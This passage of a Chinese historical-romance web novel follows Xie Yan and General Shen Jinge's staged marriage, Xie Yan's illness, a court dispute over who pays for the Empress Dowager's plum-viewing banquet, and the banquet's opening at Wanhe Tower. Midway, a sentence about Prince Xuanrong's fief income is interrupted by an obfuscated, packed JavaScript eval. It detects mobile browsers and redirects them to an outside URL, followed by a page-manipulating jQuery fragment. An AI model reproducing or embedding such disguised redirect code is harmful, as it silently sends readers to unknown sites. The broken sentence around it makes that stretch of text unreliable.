谢彦听沈金戈口气不小,不由道:“以沈将军现在的身家,我开出的条件,怕是沈将军并不能做到,难道到时沈将军打算给我打欠条不成。” “谢大人的条件是银子?” “对啊,在这个世上,什么都可能靠不住,但只有真金白银不会。” 沈金戈闻言点点头:“那不知谢大人想要多少?” “一百万两。” 谢彦这价开的,多少有些漫天要价的意思,谁料沈金戈却道: “可以,不过以我现在的身家,可能真要给谢大人打欠条了,若是谢大人信得过我,日后将军府所有产业,就全交由谢大人打理,所得的银子都归谢大人,直到还清谢大人这一百万两为止如何?” “沈将军不去做生意,还真是可惜了,你这是准备给将军府找个免费劳力来打理生意。” 沈金戈却没在意他的话,如实道:“我也是想早点还清谢大人的银子,要是谢大人实在不愿,那便算了。” “本官确实不愿。” 沈金戈也没勉强,最后真去给他打了张欠条来。 谢彦看着沈金戈递过来的那张欠条,声音微沉道:“阿月,我就再陪你演这最后一次,这次过后,谢月之亏欠你的,应该也算还清了,以后你若再有这种为了躲避联姻需要找人演戏的事,麻烦去找别人演,我谢彦就不奉陪了,等北狄太子走后,我们就好聚好散,各自安好吧!” 谢彦说完,把手里的那张欠条撕了个粉碎,随后起身就走,走到门口又停了下来,回头对沈金戈道: “我在万贺楼给你和你的部下安排了接风宴,晚上的时候,你记得带着他们去吃。” 谢彦的一番话,让一向情绪不怎么外露的沈金戈,眸底闪过一抹复杂的情绪,不过很快就恢复正常了,“好!” 原本谢彦以为,自己说了这么多,沈金戈多少也该为她自己解释一下,说她并没有真的想利用他,一切都是形势所迫,但沈金戈最终却只说了个好,气得谢彦差点当场吐血给沈金戈看。 谢彦在心里暗骂自己,谢彦,你个见色起义的家伙,你到底在期待什么,期待一个心如磐石,为了家国天下能舍弃一切的人,真能再次喜欢上一个曾经背叛过她的男人吗? 虽然背叛沈金戈的不是自己,但从沈金戈的视角去看,那个朝三暮四的男人就是他谢彦,可能也正因如此,所以沈金戈利用起他来才会毫无心理负担吧,甚至连句解释都不屑说。 谢彦负气走后,沈金戈拿着自己的银枪去了练武场,一直练到日落西山,才回房间,简单洗了个澡,换了一套玄崇之前给她置办的便服,随后又将那件黑色大氅给披在了外面,然后叫上罗山他们去了万贺楼. “我滴个乖乖,我这是眼花看到仙宫了吗?” 因为沈金戈他们到正阳大街的时候,天色已经暗下来了,所以万贺楼已经开始点灯,远远看去灯火通明,美轮美奂,看得罗山他们还以为自己的眼花了。 “这么多的琉璃,得花多少钱啊?将军,谢大人这也太有钱了吧!” “快走吧!” 沈金戈在看到这样的万贺楼后,眸子里却没有罗山他们的惊喜和羡慕,而是再次出现了让人有些看不太懂的复杂情绪。 不过现在大家都处于激动状态,谁也没察觉出什么,听了她的话,大家都迫不及待地加快了步伐。 等沈金戈他们到万贺楼的时候,万福早已在雕花长廊这头等候他们了,见他们来了,万福十分恭敬的把沈金戈他们迎了进去,一直把他们带到了三楼。 三楼今晚看来是不打算对外营业了,因为诺大的三楼,就只有沈金戈他们这两百多号人。 那些摆了酒席的雅间桌子上,已经摆满了好酒好菜,仔细一看,大部分都是肉菜,这是谢彦特意让万福安排的。 对于武将来说,菜不用太过精细,但量一定要足,而且肉要多,这样才能让他们吃的过瘾。 为了能让沈金戈带着部下痛痛快快吃一顿,谢彦甚至都没让铁蛋上三楼打扰他娘。 本来罗山他们对谢彦当初背叛沈金戈的事,心里一直耿耿于怀,但之后谢彦的各种表现,却一再打破他们对他的成见,如今又见谢彦为了给他们接风,直接把一层楼给清空了,还准备了那么多的肉和好酒,因此对他明显都改观了。 沈金戈谢过万福后,便招呼所有部下坐下吃,不过在吃之前,她也给自己的部下下了命令,只准吃喝,不准在万贺楼闹事。 在万贺楼这样的地方,其实就是沈金戈不说,罗山他们也不好意思像在军营那般粗旷不羁,他们甚至怕说话声音太大,再把那些琉璃给震碎了。 谢大人好心给他们接风,拿这么多的好酒好菜来招待他们,他们自然也要懂事,不能给人家添麻烦。 而且等那些菜吃进嘴里后,谁还有功夫说话,大家恨不得再多长出两张嘴用来吃饭。 沈金戈却吃得不多,不过谢彦亲手酿的西风烈她却没少喝。 等谢彦过来的时候,就见沈金戈已经自己把自己给喝趴下了。 “将军平时从来不喝酒的,今日可能是谢大人酿的这西风烈太好了,将军才没忍住多喝了几杯!” 罗山他们试图给自家将军挽尊,不想让她在谢彦面前失了面子。 谢彦点了点头,示意他们继续吃,而他则把沈金戈从一群糙汉子中间扶了出去。 罗山怕谢彦扶不动喝醉的沈金戈,想上前帮忙,却被谢彦婉拒了。 谢彦确实有些吃力,虽然沈金戈瘦,但毕竟个子那么高,而且她又是习武之人,她的瘦肯定不是那种弱不禁风的瘦,再加上人喝醉了,整个重心都压在谢彦身上,别说谢彦这体质,就是正常体质的人扶着醉了的人也吃力。 但现在沈金戈在外人看来还是他谢彦的娘子,所以谢彦就算是拼了老命,也不可能让别的男人来帮他扶沈金戈。 34. 谢大人病了 等谢彦拒绝了所有想帮他的人,独自把沈金戈扶进自己和铁蛋在万贺楼休息的房间时,已经累的气喘吁吁了,身上还出了不少汗。 他把沈金戈扶到床上,把她的外衣和鞋给脱了,然后替她盖好被子,又去打了盆热水过来,把她的脸和手都擦了一遍。 等忙完这一切,他也累的坐在床边不想动了。 谢彦看着沈金戈那张让他第一眼就惊艳到的脸,发了会呆,本来还想着,沈金戈会不会来个酒后吐真言啥的,谁料这人不仅醒着的时候跟个锯嘴葫芦似的,就连醉酒了,也是不吵不闹倒头就睡。 要不是她因酒精烧的胃难受而偶尔皱起的眉,谢彦还以为她只是单纯睡着了。 谢彦怕她的胃烧的难受,还有就是酒醒了后再头疼,便让人熬了一碗醒酒汤过来,给她喂了下去,随后刚想起身去叫铁蛋回来睡觉,手就被沈金戈给抓住了。 沈金戈虽然醉了,但以她的力气,谢彦想要挣脱也绝无可能,所以谢彦象征性的挣扎了两下,便不费那个力气了。 好在沈金戈只是抓着他的手,并没再有其它动作,这让谢彦心里升起的那丁点的期待,又熄灭了。 他有些郁闷的看着沈金戈抓住自己的那只手,就那么有些生气又有些无奈的盯着,不知过了多久,他也靠在床头睡过去了。 等谢彦再次有了意识的时候,就感觉身上有种冷热交替的感觉,非常难受,头和嗓子也很疼,鼻子也如被堵了一般。 他缓缓睁开眼,就见沈金戈正准备弯腰把他扶起来喂药。 而韩离正端着药,铁蛋则趴在他的床边,很担心的看着他。 “大夫说你之前出汗没能及时换衣,再加上在大雪天跑进跑出累了一整天,感染了风寒。” 沈金戈见谢彦醒了,便把他的病情同他说了。 谢彦一听说自己得了风寒,顾不上浑身难受,连忙让韩离先把铁蛋带出去,免得被他传染。 虽然铁蛋的体质随了沈金戈,很少生病,但到底是小孩子。 韩离闻言,看向沈金戈。 沈金戈经谢彦提醒,也觉得自己大意了,便请韩离先带铁蛋出去。 铁蛋虽然担心他爹,但见他爹娘都让他出去,只能先跟着韩离出去了。 等铁蛋和韩离走后,谢彦便让沈金戈把药留下,让她也出去。 沈金戈却没走,说要留下照顾他。 “不敢劳驾沈将军,我不缺照顾的人,你既然酒已醒,就去忙自己的事吧。” “归根结底,谢大人的病是因我而起,我理应照顾你,而且要是谢大人病了,我这个在外人看来的妻子都不照顾你,说不定会让人起疑。” 谢彦闻言有些自嘲的道:“果然是我大启的女战神,每走一步都经过了深思熟虑,既然如此,那便随你。” 谢彦说完,指了指桌子上的茶水:“我渴了。” 沈金戈不知是因为出于内疚,还是因为谢彦还有利用价值,总之无论谢彦怎么负气和她说话,她始终神色平静,情绪稳定,听谢彦说渴了,立刻起身去给他倒了一杯水过来,准备把他扶起来喂他。 “我只是得了风寒,手又没有断,不劳沈将军亲自来喂。” 谢彦说完自己准备起来,但下一秒就被打脸了,因为他头重脚轻,浑身难受又无力,根本就没力气坐起来。 谢彦心里苦笑,只是受凉而已,就病的快起不来床了,即便平时他已经努力在锻炼和调理身体了,但也不是一朝一夕就能完全调理好的,需要一直坚持才行。 这时铁蛋和韩离却去而复返,韩离手里还端着一碗粥,他还给铁蛋的脸上蒙了块方巾。 “谢大哥,云儿很担心你,你就让他留在这吧,他蒙在这个应该没那么容易被传染。” 谢彦闻言,心里暖暖的,最终同意让铁蛋留了下来。 韩离见谢彦同意了,也没留下打扰一家三口,把粥放下就出去了,临走前还让他的沈家姐姐有什么事就叫他,沈金戈闻言冲他点了点头。 铁蛋他们的去而复返,正好缓解了谢彦赌气逞能后被打脸的尴尬。 “爹,大夫说您病了,不能起来,让娘来喂您吃药和粥吧。” 原本还想在挣扎起身的谢彦,就着铁蛋递过来的台阶,灰溜溜的下了,别别扭扭的同意让沈金戈来喂他喝药。 不过沈金戈显然不怎么会照顾人,即便她有孩子,但当初除了给铁蛋喂奶,等到铁蛋能吃东西后,基本是原主在照顾。 另外柳如烟也会以好邻居的身份,明里暗里的照顾着铁蛋,而沈金戈主要负责打猎赚钱,确保一家人的经济来源。 所以她给谢彦喂药,都是一大勺一大勺的喂,而且中间还没什么间隙,连续几勺下去,谢彦被呛得差点把刚喝下去的药给喷出来。 本来铁蛋还想着让爹娘多亲近亲近,但看到他娘喂药的架势和他爹的惨状,最终只能无奈提议让他娘把他爹扶住,由他来喂,才让他爹逃过一劫。 沈金戈见铁蛋虽然人小,手却很稳,他给谢彦喂药时小心翼翼,而且都是一点一点的喂,沈金戈才意识到自己刚才喂的似乎不对,于是她有些尴尬的让铁蛋再让她试试。 铁蛋有些同情的看了一眼他爹,不过见他爹似乎并没有反对的意思,所以最终还是没忍心拒绝他娘的请求,等把药喂完后,便让他娘来给他爹喂粥。 在谢彦又被连续呛了好几次后,沈大将军终于学会了一项新技能,给人喂饭。 在铁蛋把碗拿出去的空档,谢彦躺在床上,看着床顶喃喃道:“阿月,我可能不止这辈子亏欠了你,说不定上上辈子也亏欠了你,所以这辈子你就成了我的债主。” 沈金戈闻言双手不由再次握紧,不过最终还是什么都没说。 谢彦见她又是这副闷葫芦的样子,无奈叹了口气:“戏也演的差不多了,你有事就去忙吧,不用一直在这,你要是真想为我做些什么,不如就去向陛下替我多告几日假吧,最好说得严重些,有人听了应该会高兴。” 沈金戈闻言点了点头,等铁蛋再次回来的时候,她便把谢彦交给了铁蛋和守在门外没有进来的韩离照顾。 因为从回京到现在,沈金戈一直没能和韩家的这个弟弟说上话,趁这个当口,沈金戈便和韩离聊了一会,还询问了他姐姐韩慕雪的近况。 韩慕雪是沈金戈在京城除了玄崇外,唯一的好友,因为沈金戈从小就爱武枪弄棒,能动手绝不动口,所以京城和她年纪相仿的世家贵女几乎没人愿意和她玩,而那些世家纨绔更是见了她就绕道走,生怕沈金戈看他们不顺眼时再揍他们。 沈金戈不仅是镇国大将军的独女,还是先太后的姨侄女,最主要她武功还厉害,所以京城那些平时仗势欺人无理也要搅三分的纨绔,却从不敢去招惹沈金戈。 不过从小身体就不太好的韩慕雪是个例外,有一次在她出门被几个刁蛮的世家小姐合伙欺负时,恰巧被沈金戈撞见,沈金戈将那几人挨个揍了一顿,之后她和韩慕雪就意外成了好朋友。 在沈金戈失踪后,韩慕雪甚至还写信给自己弟弟的师父,请他的江湖朋友帮忙寻找沈金戈和她失踪的家人下落。 只是如今韩慕雪也已嫁人了,而且婆家还在离京城很远的雍城,因为韩慕雪身体不太好,不宜长途劳累奔波,孩子又还很小,所以成亲三年都没能回过京城。 从韩离口中了解了韩慕雪的近况后,沈金戈打算抽空给她写信,跟好友说一说自己失踪这些年的经历,之后便离开万贺楼进宫去了。 果然不出谢彦所料,在听说谢彦病了后,朝中有不少人是挺高兴的。 就在这个当口,太后提出要办一场赏梅宴,其用意是把京城各大世家那些小姐给招进宫,好让玄崇看看有没有看对眼的。 之前那个想死在金銮殿上的大宫女,已经被太后处死了,不过之后谁也没再提当着百官的面送酒那一出,太后和玄崇之间依旧相敬如宾,除非必要,能不见就不见。 对于这次赏梅宴,玄崇没有同意,因为太后说要在宫中那片梅林里办,只是宫中那片梅林,是当初先帝亲手为玄崇的生母苏太后栽下的。 苏太后酷爱梅花,先帝在和苏太后大婚前,竟在宫中单独辟出一个园子来种梅花。 这份盛宠,除了苏太后,以后不管哪个先帝的嫔妃都没有这份待遇,魏太后自然也没有。 生为帝王,先帝给不了自己最爱的人一生一世一双人的承诺,就只能在其它地方尽量弥补。 在苏太后去世后,那片梅林就成了宫里的禁地,当初除了先帝,就只有玄崇和沈金戈及其母亲能进,其他任何人都是不准进的,擅闯着斩。 如今魏太后竟然提出要在宫里的梅林办赏梅宴,也不知是怎么想的。 “母后这些年从未求过陛下什么,如今母后年事已高,难道陛下连她这小小的心愿都不能满足她吗?” 在玄崇拒绝魏太后这个提议的第二天早朝上,玄容就当着文武百官的面,语气里明显带着失望和责备。 不知道的,还以为魏太后真的年事已高快不行了,但实际上魏太后她爹魏相都还在朝堂上站着呢,她又能老到哪里去,今年也不过才四十七。 “要是别的事,朕或许还可以考虑,但宫中那片梅林,是父皇当初亲手为朕的母后栽下的,他早就说过,无论到什么时候,那片梅林也只允许母后和她最在意的人进,其他人一概不能入内,违令着斩。太后老了,朕不怪她时常犯糊涂,难道皇兄也想跟着她一起犯糊涂,你可知违抗父皇生前旨意的结果?” 玄容闻言语气里满是伤心,“说到底我们也是一家人,难道我和我母后就不是先太后在意的人了吗?” 谁料玄崇却半点情面不给玄容,如实道:“还真不是。” 在场的像单明远和韩秦这些忠臣,心说你母后外公一家,这几年差点快把皇上给逼死了,还差点搞得大启快国破了,还有脸问出这样的问题,不是明摆着自取其辱吗。 就连魏相的那些爪牙,也觉得玄容这个问题没过脑子,所以朝堂之上,一时无一人替玄容说话。 魏相见状,只能自己走了出来,他对玄崇道:“太后和王爷也是想着一家人之间,不要有什么隔阂,所以才会冒昧提出这样的请求,不过在老臣看来,先太后的那片梅林,确实不宜让外人进。” 就在众人诧异魏相今日怎么性情大变,突然站到了皇上这一边的时候,就听他话锋一转: “老臣听说,万贺楼里也有梅林,如今开的正盛,不如这个赏梅宴,就请太后和皇上移驾万驾楼去办,不知陛下觉得如何?” 玄崇闻言道:“魏相的这个提议到是不错,朕和太后确实都好久没出过宫了,正好借着这次机会出去看看,只不过” 魏相见玄崇同意了,忙道:“陛下有什么指示,不妨直言?” “只不过朕听闻,万贺楼租金可不便宜,我们这么多人去,肯定得包下整个万贺楼,而且当日世家小姐公子众多,若以皇家的规格去办,吃食用度,自然不能寒酸,不然肯定会有损皇家颜面,到时哪家世家贵女还肯嫁进宫跟着朕受苦。” 魏相闻言忙道:“陛下说的极是,这场赏梅宴事关陛下的终生大事,马虎不得,要办自然就要好好的大办一场。” 玄崇却有些苦恼的道:“只是要大办的话,这些费用就成了问题。魏相和诸位爱卿想必也清楚,朕的私库早就空了,而国库,如今虽然充盈了一些,但也不能拿国库的银子给皇家私用,朕要是开了这个头,恐怕隔日就会有人上行下效,到时怕不是要贪腐成风了。” “费用的事陛下倒是不必担心,老臣听闻,这万贺楼是谢大人开的,而且谢大人又是沈将军的夫婿,说到底和陛下是一家人,亲戚之间,借万贺楼一用,想来谢大人肯定不会计较这些,再说陛下和太后亲临万贺楼,那就是万贺楼的无上荣光,日后还不是日进斗金。” 魏相的一番话,虽然也不是一点道理没有,但还是让人觉得简直太不要脸了。 这时就听玄崇道:“听魏相这话的意思,是想让朕和太后带着一群世家贵女和贵公子,去万贺楼白吃白喝,白占自己妹婿的便宜?” “老臣不敢,老臣只是觉得亲戚之间,理应守望互助。” 玄崇冷笑:“魏相说的没错,不过朕的妹妹妹婿助朕甚至是整个大启已经太多了,总不能只可着他们小两口薅,如今赏梅宴这种小事,就不要再去麻烦他们了。再说朕也不是只有他们这一门亲戚,朕听闻,相府里也有一片很大的梅林,不如太后提出的这个赏梅宴,就在魏相家的梅林办如何?相府家大业大,想来也不会在乎这十万二十万的银子。” “老臣一生清廉,两袖清风,哪里能拿出那么多的银子来承办皇家的赏梅宴,而且相府梅林里的梅花,如今已经快凋谢了,哪里能跟万贺楼那些开得正盛的梅花相比,没得扫了陛下和太后的兴致。” 看吧,要占别人便宜时张嘴就来,现在刀割到自己身上了,肉就疼了。 要是谢彦在这肯定会觉得,给玄崇两成万贺楼的分红,确实是自己占便宜了,玄崇这保护的力度真是刚刚的,要是没有玄崇的照拂,他一个六品小官,在这京城,万贺楼刚开起来恐怕就被人给拆吞入腹了。 也正因为如此,在此之前,谢彦才没有把生意做大,一直都是小打小闹,匹夫无罪,怀璧其罪,这是千古不变的道理。 要不是玄崇下令要让谢彦把万贺楼做成天下第一楼,谢彦还是不会像现在这般高调。 一旁的玄容被玄崇那句朕也不是只有一门亲戚,说得脸上有些挂不住,最终咬了咬牙道: “陛下说的没错,陛下又不是只有沈将军和谢大人这一门亲戚,陛下的终生大事,我这个做兄长的,自然也要出一份力,这笔银子不如就从今年贤王府封地的收益里出。 贤王的封地,是先帝写在传召圣旨里的,先帝把皇位传给了玄崇,而把大启最富庶的沧江府给了玄容作为封地。 沧江府的地理环境和青川府差不多,都是属于南方,经济富饶,物产丰富,鱼米之乡,只不过沧江府的面积,几乎是本来面积也很大的青川府的两倍大,而且沧江府不仅临江,还靠海。 沧江府每年所有税收都不用上缴朝廷,尽数归贤王个人所有。 这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13244844|130138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一笔常人难以想象的收入,另外贤王名下还有作为一个皇子和亲王应有的其它私产,按道理说,贤王应该非常非常有钱,但他却和太后魏相等人一样,一直在立清贫人设。 一旦有人问起玄容那些明面上的收入时,就会有人出来替他解释,说是被玄容拿去接济贫苦百姓了,还顺带把太后的供奉也给拿去一起做善事了。 这几年大启的贫苦百姓确实太多了,多到没人知道,玄容和太后的那么多银子,具体都接济谁了?一切都是他们手底下的一帮人在说。 而且严格来说,一个有了封地的王爷,是应该回自己的封地去的,但他却一直留在京城。玄崇对这一点,也从来没说过什么,由着他一直住在京城。 可能也正因玄崇从来未与他计较太多,因此玄容便以为自己此话一出,玄崇一定会拒绝,毕竟就是大启最难的时候,玄崇都没朝他和太后开过口。 而如今大启局势已经越来越好,玄崇自然就更不可能这么做了,除非他完全不顾自己的颜面和名声了。 谁料玄崇却点点头,“兄长赠,不敢辞,皇兄的一番盛情,朕也只能受了,那这次赏梅宴的规格,就以二十万两的规格打底,回头朕让月之亲自去办,要是超了,朕就再省一省自己补上。” 玄崇此话一出,玄容和魏相的脸色都有些不好看,只不过玄容带着纱笠,没人看得到他的脸色变化。 玄容刚想说,谁家好人家办一个赏梅宴需要二十万两银子那么多,就是吃金子也吃不了这么多,但一想到玄崇是皇上,规格自然不能按照普通人家的来,而且还是在万贺楼那样的地方办,别说二十万两,估计就是二百万两,那个谢彦也能给你造光了,而且保管笔笔账目都能对上。 为了不被玄崇找到再坑自己一笔的由头,玄容最终选择把想说的话咽了回去。 单明远等人见从来都是表面功夫大于实际行动的玄容,终于实实在在的大出血了一回,憋笑憋的有些辛苦。 还好今日沈金戈和谢彦都没有来上朝,要不然,玄容怕是只会被坑的更惨。 不过也正因为今日沈金戈没来上朝,玄容和魏相才会如此说,要是沈金戈在,他们绝对不敢明目张胆说去占谢彦便宜的话,毕竟谢彦现在在外人看来还是沈金戈的丈夫,占谢彦便宜,那不就等于占沈金戈那个女煞神的便宜吗。 所以玄容和魏相就想趁沈金戈不在的时候,拿亲情道德绑架玄崇,不管玄崇是答应在宫里的梅林办赏梅宴,还是去万贺楼办,都能达成他们其中的一个目的。 而且只要玄崇答应了,想来沈金戈也不会驳了他的面子,而谢彦,他一个六品小官,自然不敢拒绝。 谁料玄崇根本不买他们的账,还趁机坑了玄容一大笔银子。 “你如若不想让那些人来万贺楼,我去同兄长说,让那些人改去镇国将军府办这个“赏梅宴”。” 沈金戈在得知这个消息后,对已经病愈正在扒拉算盘珠子的谢彦道。 谢彦见她多少还有些良心,心情终于好了一些,他抬头露出一个灿烂的笑容:“陛下给万贺楼拉来这么大一笔生意,我高兴还来不及,又怎么会不愿意,不过到时候,还请阿月帮忙,把万贺楼几个重要的地方和前后门派人把守住,以免让一些老鼠趁乱坏了菜。” 沈金戈被谢彦那声不带任何赌气情绪的阿月,还有那太过耀眼的笑容晃得有些愣神,反应过来朝他拱了拱手道: “多谢,你放心,我绝不会让人损了万贺楼的一草一木!” “嗯,我知道,那就辛苦你了。” 谢彦说罢,便起身出去了,等再回来的时候,就给沈金戈端了不少甜点和奶茶进来,其中甚至还有一盘沈金戈最爱的桂花糕。 “这次的老鼠可能不太好抓,接下来的这些时日,你不如就住在万贺楼,这样不仅方便你部署,也方便你演戏给那个北狄太子看,同时还能替我们万贺楼的大师傅试试菜和点心的味道。” 沈金戈闻言点了点头,随后接过谢彦递过来的一大托盘吃食,坐到了桌子旁,不过却迟迟没有吃。 谢彦见状解释道:“这些都是我让人按你的口味做的。” 沈金戈闻言不由又双拳握紧,等再次松开的时候,她看向谢彦,神色有些复杂的道:“谢彦,如果” “如果什么?”谢彦见沈金戈表情凝重,似乎有什么重要的话要和他说,不免有些期待的问。 谁料就在这时,就见万福匆匆过来,看样子是有什么重要的事找他。 “不管有什么事都等下再说!” 谢彦说罢,把万福直接推到了门外,啪得关上了房门,随后继续看向沈金戈,示意她说。 “你先去忙,我的话等赏梅宴过后再同你说也不迟。” “天又没塌,我听个话的时间还是有的,你现在就可以说。” 谢彦是个现代人,他十分清楚,有些重要时刻,一旦被人岔开,想要再续上,几乎就不太可能,所以他才会直接把万福赶出去,这种时候,什么急事都给他靠边站。 沈金戈见他铁了心要自己现在就说,本来需要很长时间才能说明白的话,也只能长话短说: “等这次赏梅宴结束,北狄太子也离开后,我想带云儿回一趟龙泉县,如果你能抽出空,我希望你能和我们一起回去,有些事在龙泉起,我也想在龙泉了。” 谢彦闻言,原本期待的表情逐渐消失,他本以为,自己做了那么多,是不是终于让沈金戈改变心意了,打算再给他,不是,是再给原主一次改过自新的机会了,谁料沈金戈只是打算回到最初踹了他的地方,再踹他一次。 而且听她话里的意思,是想和他彻底断的干干净净,不然也不会要回她和原主成亲的地方去了结这段感情。 “好。” 不知是不是被气到一定程度,人反倒能平静的面对一切,谢彦最终只是平静的说了个好字,便开门跟着万福走了。 只是刚走出没多远,谢彦就后悔了,后悔刚才为什么不直接跟万福走,非要倒反天罡自作聪明留下,自己到底在期待什么,期待骄傲又杀伐果绝的大启第一女战神,能回头来吃原主这个朝三暮四还手无缚鸡之力的男人的回头草?简直是痴心妄想,自不量力,自欺欺人,自甘堕落! 谢彦在心里把自己狂骂了一遍后,终于有些绷不住,脸上原本的恼怒也变成了委屈。 一旁的万福见他一副委屈的不行的样子,也跟着难受,谢彦虽然平时不是给人一种绝世佳公子的样子,就是给人一种精明世故又嘴巴带毒的样子,但只有了解他的人才知道,其实他的心肠才是最软的,特别是对他在意的人,那真是掏心掏肺的对人好,就连对他们这些下人,也真心相待,从不看轻。 只是谢彦和沈将军之间的事,他们这些下人哪里敢过问,万福也只以为是小夫妻俩拌嘴了,并且谢彦还输了,因此也只能在心里同情他一把,行动上却帮不了他一点。 而沈金戈见谢彦神色平静的离开,还以为以谢彦的通透,已经听出了自己的话外之意,便打算等北狄太子离开京城后,就和谢彦把他们之间的事彻底理清楚,因此便安心的去部署了。 35. 赏梅宴 距离赏梅宴还有三日的时候,万贺楼便不再对外营业。 原本住在万贺楼的客人,在谢彦说明情况,并替他们寻好新的住处后,也都很配合的先搬过去暂住了。 一切准备妥当后,万贺楼上下所有人,就打起十二分精神,准备操办这场“赏梅宴”。 别看玄崇在宫里时,自己把日子过得抠抠搜搜的,但只要他出宫,没人敢有一丝怠慢,要不然史上也不会有接一次驾就花银如流水的说法。 虽然玄崇本人不喜铺张浪费,而且这次的所谓“赏梅宴”,没有人是真心想要赏梅,但谢彦却也不能让玄崇丢面子,该有的排场还是得给他安排上,不然谁知道玄崇会不会在心里给他记上一笔。 更何况这次来的不止玄崇,还有在天下人心中口碑极佳的魏太后。 在硬件上,万贺楼已经够排场了,所以不用再耗费银子去动,谢彦只在吃食和各种花里胡哨的名目上下足了功夫。 毕竟这二十万两也不是那么好坑的,总得让出钱的人在账上挑不出毛病才行。 赏梅宴当日,玄崇和太后一起摆驾到了万贺楼,玄崇和玄容一左一右扶着魏太后走到了万贺楼前面的雕花走廊前。 由于附近的人都被清了场,所以只有那些等在雕花长廊两侧的世家夫人小姐和公子,能看到皇家这副“母慈子孝”的画面。 因为魏太后说今日的赏梅宴不用穿得太过正式,以免那些世家小姐公子拘谨不能尽性,所以她并未着太后宫装,只是穿了一身月白色常服,外罩一件蓝色鸟羽制成的大氅,发髻上也只戴了一支玉钗。 因为这些年魏太后几乎没有出过宫,自打先帝去世后,除了一些重大场合,其它时候就连那些世家夫人她都不会再召见,终日不是吃斋念佛,就是做“针线活”换钱替皇上改善伙食。 所以在场大部分世家夫人,都许久没见过她了,而在场那些从未见过太后的年轻人,都被她淡然出尘的风姿吸引了。 更让人没想到的是,魏太后已经四十有七,但看上去却如此年轻,最多也就三十几岁的样子。 而那些曾经见过或是在年轻时就认识魏太后的世家夫人,在看见魏太后时,不觉有些疑惑,觉得魏太后怎么如今的神态举止越来越像先太后了。 不过她们明显对皇上的兴趣,大过魏太后,所以也没去深究。 毕竟今日明为赏梅宴,实则大家心里都清楚,这是太后借着赏梅宴的名头,想要替皇上暗中选妃。 即便自家女儿选不上,不是还有那么多为了不突兀,而被拉来做陪衬的世家公子吗,总不会空手而归,因此陪同自家女儿来的那些夫人,都卯足了劲想要自己女儿好好表现。 玄崇今日穿了一身玄色常服,外罩一件黑色大氅,里外全黑,将他那一头白发及立体冷俊的五官衬的尤为突出,再加上挺拔高大的身姿和帝王自带的贵气和威严,让那些世家贵女既惧又忍不住偷偷打量。 在场不少世家贵女,本来今日还有些不愿来,毕竟在大部分大启未婚女子的心中,贤王玄容,才是她们想要嫁的最佳夫婿,只可惜贤王虽然至今未娶正妻,但侧妃已经有两个了。 而且如今玄容不仅依旧带着纱笠,身形也比玄崇矮了一些,就连身上的气势,也是和玄崇无法比的,两人站在一处,原本单看风姿卓越的玄容,如今却有些相形见拙。 那些世家贵女们突然意识到一个问题,心说还好今日她们来了,要不然恐怕要被那些不实的传闻害得抱憾终生。 魏太后目光穿过人群,余光瞥了一眼沈金戈身边的谢彦,随即满眼慈爱的对沈金戈道:“这位便是金戈的夫婿谢大人吧,果然是一表人才,年轻有为。” 虽然魏太后说着夸赞谢彦的话,但目光却始终看着沈金戈。 沈金戈闻言看了谢彦一眼,那一眼,竟蕴含着谢彦从未见过的神色,随即他就听见沈金戈道:“太后目光如炬,臣也是这么认为的。” 谢彦此刻竟有些分不清,沈金戈到底是在演戏还是发自内心这么说的,心里有些五味杂陈,不过面上还是泰然自若,让人察觉不出有何不妥之处。 魏太后听了沈金戈的话后轻笑道:“你啊,和你爹的性子还真是一模一样,哀家记得以前有人夸赞你娘的时候,你爹就和你现在的神情一模一样,果然有其父必有其女。” 只是说完她似乎又意识到了什么,面色变的有些哀伤道: “哎,以前一起长大的故人,如今啊,也就只剩下哀家了,每当夜深人静时,哀家就在想,为什么老天那么不公,让那些英雄豪杰和绝世佳人,都英年早逝,倒是像哀家这样的平凡之辈,还在庸庸碌碌的苟活着,真没什么意思,哀家现在活着唯一能做的,就是每日吃斋念佛,祈求上苍护佑我大启万世昌盛,还有你们这些故人的孩子,都能够平安喜乐。” 太后一番感人肺腑的话,让在场不少夫人都不由拿出帕子来拭泪,不管虚情也好,假意也 罢,总之氛围感已拉满。 这时玄容插话道:“母后,今日我们是来赏梅游玩的,过往那些伤心的事就莫要提了。“ “容儿说的对,哀家也是老糊涂了,差点扫了各位夫人和孩子们的兴致,好了,进去吧。” 太后说完,没有再让玄容或玄崇扶她,而是扶着沈金戈的手穿过雕花长廊,进了万贺楼。 玄崇和玄容还有还有今天来的客人,也跟在她们身后鱼贯而入。 太后在主位上坐定后,对和他并排坐在主位的玄崇道: “万贺楼不愧是天下第一楼,果然名不虚传,哀家没想到,临老还能看到如此奢华至极的场景,这副景象,真是把皇宫都比的黯然失色了。” 太后此话一出,原本已经开始逐渐放松的氛围,又开始变得紧张起来,这话其中含义何等严重,但凡皇上是个疑心重的,这根刺就算是在他心里种下了。 谁料玄崇却道:“太后说的没错,这万贺楼确实比皇宫还要奢华,不过这是月之靠自己的本事建成的,别人也只有羡慕的份,朕倒是希望有朝一日,我大启子民,人人的住所或是所开的店铺,都能比皇宫还奢华,这样说明我大启能人辈出,那么太后之前说的想要大启万世昌盛的愿望,或许就有了实现的可能。” 玄崇此话一出,立刻就赢得了在场所有人的好感,越来越觉得以前关于那些不利于玄崇的谣言,是有人故意摸黑他。 魏太后听玄崇如此说,非但没有一丝尴尬,甚至还有些欣慰的道:“是哀家狭隘了,陛下胸襟宽广,看待问题独具一格,不愧是先帝和镇国大将军亲自教导出来的,想来他们泉下有知,也会为大启能有陛下这样的君主感到欣慰的。” 太后说完,终于没再一直围绕故人的话题来聊天,而是带着一干人等,去了园子里游玩。 虽然说是赏梅宴,但万贺楼的园子里,现在被谢彦改造的,几乎是几步一景,看得大家目不暇接。 魏太后对园子里的布置似乎也十分感兴趣,所以一时之间竟没有急着去梅林那边,而是走走停停,和众人一道欣赏沿途的景致。 